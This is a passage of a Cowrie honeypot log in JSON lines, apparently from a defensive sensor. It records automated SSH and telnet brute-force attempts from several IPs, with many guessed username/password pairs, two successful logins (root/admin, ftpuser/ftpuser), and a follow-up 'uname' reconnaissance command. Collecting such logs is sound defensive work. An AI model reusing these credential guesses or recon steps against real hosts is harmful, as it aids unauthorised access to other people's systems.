an-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:58.526960Z","src_ip":"159.203.92.129","session":"b03d9f1f6362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123456Aa?","message":"login attempt [ansible/123456Aa?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:58.539112Z","src_ip":"159.203.92.129","session":"b03d9f1f6362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:59.544570Z","src_ip":"159.203.92.129","session":"b03d9f1f6362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50812,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e3cf0172f5d","protocol":"ssh","message":"New connection: 176.65.139.103:50812 (10.17.0.5:22) [session: 8e3cf0172f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:02.720372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:02.730405Z","src_ip":"176.65.139.103","session":"8e3cf0172f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:02.815258Z","src_ip":"176.65.139.103","session":"8e3cf0172f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:03.072766Z","src_ip":"176.65.139.103","session":"8e3cf0172f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:04.201236Z","src_ip":"176.65.139.103","session":"8e3cf0172f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49628,"dst_ip":"10.17.0.5","dst_port":22,"session":"796a29434d77","protocol":"ssh","message":"New connection: 176.65.139.103:49628 (10.17.0.5:22) [session: 796a29434d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:09.146127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:09.151271Z","src_ip":"176.65.139.103","session":"796a29434d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:09.235410Z","src_ip":"176.65.139.103","session":"796a29434d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:09.495931Z","src_ip":"176.65.139.103","session":"796a29434d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:10.595829Z","src_ip":"176.65.139.103","session":"796a29434d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":34932,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3f9fe900aa0","protocol":"ssh","message":"New connection: 103.176.20.115:34932 (10.17.0.5:22) [session: c3f9fe900aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:11.198483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:11.203171Z","src_ip":"103.176.20.115","session":"c3f9fe900aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:11.459047Z","src_ip":"103.176.20.115","session":"c3f9fe900aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rooting","message":"login attempt [root/rooting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:12.515765Z","src_ip":"103.176.20.115","session":"c3f9fe900aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:13.774548Z","src_ip":"103.176.20.115","session":"c3f9fe900aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33876,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d5c316ab8c6","protocol":"ssh","message":"New connection: 176.65.139.103:33876 (10.17.0.5:22) [session: 8d5c316ab8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:15.381380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:15.387074Z","src_ip":"176.65.139.103","session":"8d5c316ab8c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:15.469987Z","src_ip":"176.65.139.103","session":"8d5c316ab8c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:15.727911Z","src_ip":"176.65.139.103","session":"8d5c316ab8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:16.951443Z","src_ip":"176.65.139.103","session":"8d5c316ab8c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33892,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeafc39ab97b","protocol":"ssh","message":"New connection: 176.65.139.103:33892 (10.17.0.5:22) [session: eeafc39ab97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:21.795840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:21.910549Z","src_ip":"176.65.139.103","session":"eeafc39ab97b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:21.914240Z","src_ip":"176.65.139.103","session":"eeafc39ab97b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:22.260532Z","src_ip":"176.65.139.103","session":"eeafc39ab97b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:22.474581Z","src_ip":"176.65.139.103","session":"eeafc39ab97b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:22.477951Z","src_ip":"176.65.139.103","session":"eeafc39ab97b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:22.562871Z","src_ip":"176.65.139.103","session":"eeafc39ab97b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:22.567953Z","src_ip":"176.65.139.103","session":"eeafc39ab97b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42600,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fba8dc2bade","protocol":"ssh","message":"New connection: 176.65.139.103:42600 (10.17.0.5:22) [session: 4fba8dc2bade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:28.444869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:28.449827Z","src_ip":"176.65.139.103","session":"4fba8dc2bade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:28.526800Z","src_ip":"176.65.139.103","session":"4fba8dc2bade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.213.99.15","src_port":51980,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9ec2f0782ac","protocol":"telnet","message":"New connection: 187.213.99.15:51980 (159.203.135.109:23) [session: f9ec2f0782ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:28.829066Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:28.879048Z","src_ip":"176.65.139.103","session":"4fba8dc2bade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:30.051495Z","src_ip":"176.65.139.103","session":"4fba8dc2bade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.15082764625549,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:31.975403Z","src_ip":"185.26.126.47","session":"2204fc2578c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55732,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aeba8333e44","protocol":"ssh","message":"New connection: 176.65.139.103:55732 (10.17.0.5:22) [session: 5aeba8333e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:35.619112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:35.623168Z","src_ip":"176.65.139.103","session":"5aeba8333e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:35.705507Z","src_ip":"176.65.139.103","session":"5aeba8333e44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:35.949767Z","src_ip":"176.65.139.103","session":"5aeba8333e44","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:36.152884Z","src_ip":"176.65.139.103","session":"5aeba8333e44","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:36.155836Z","src_ip":"176.65.139.103","session":"5aeba8333e44","protocol":"ssh"}
